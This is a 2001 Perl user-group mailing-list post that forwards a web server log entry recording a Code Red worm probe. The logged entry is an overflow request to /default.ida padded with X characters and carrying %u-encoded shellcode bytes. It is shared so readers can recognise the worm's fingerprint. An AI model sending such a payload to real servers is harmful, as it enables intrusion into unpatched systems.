[JaxPM] FW: Somebody looked at /default.ida

[JONES, WILLIAM C]

On the jacksonville-pm-list; Jax.PM'er "JONES, WILLIAM C" <wcjones at exchange.fccj.org> wrote -

In case anyone was interested - this is what the Code Red virus finger print
looks like when somebody's infected system tries to infect your system...

Enjoy!
Sx  :]


> ----------
> From: 	mod_perl Sx httpd
> Sent: 	Tuesday, August 7, 2001 3:22 PM
> To: 	sneex at sneex.fccj.org
> Subject: 	Somebody looked at /default.ida
> 
> For FCCJ Virtual WWW Server: insecurity.org
> 
> At Tue Aug  7 15:22:42 2001, a user at 207.203.51.36 looked at
> /default.ida using the  browser.  
> 
> The request was GET
> /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
> XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
> XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
> XXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u685
> 8%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%
> u00=a  HTTP/1.0, 
> which resulted returned a code of 404 Not Found.  
> 
> 276 bytes were transferred.
> 
> 

Jax.PM Moderator's Note:
This message was posted to the Jacksonville Perl Monger's Group listserv.
The group manager can be reached at -- owner-jacksonville-pm-list at pm.org
to whom send all praises, complaints, or comments...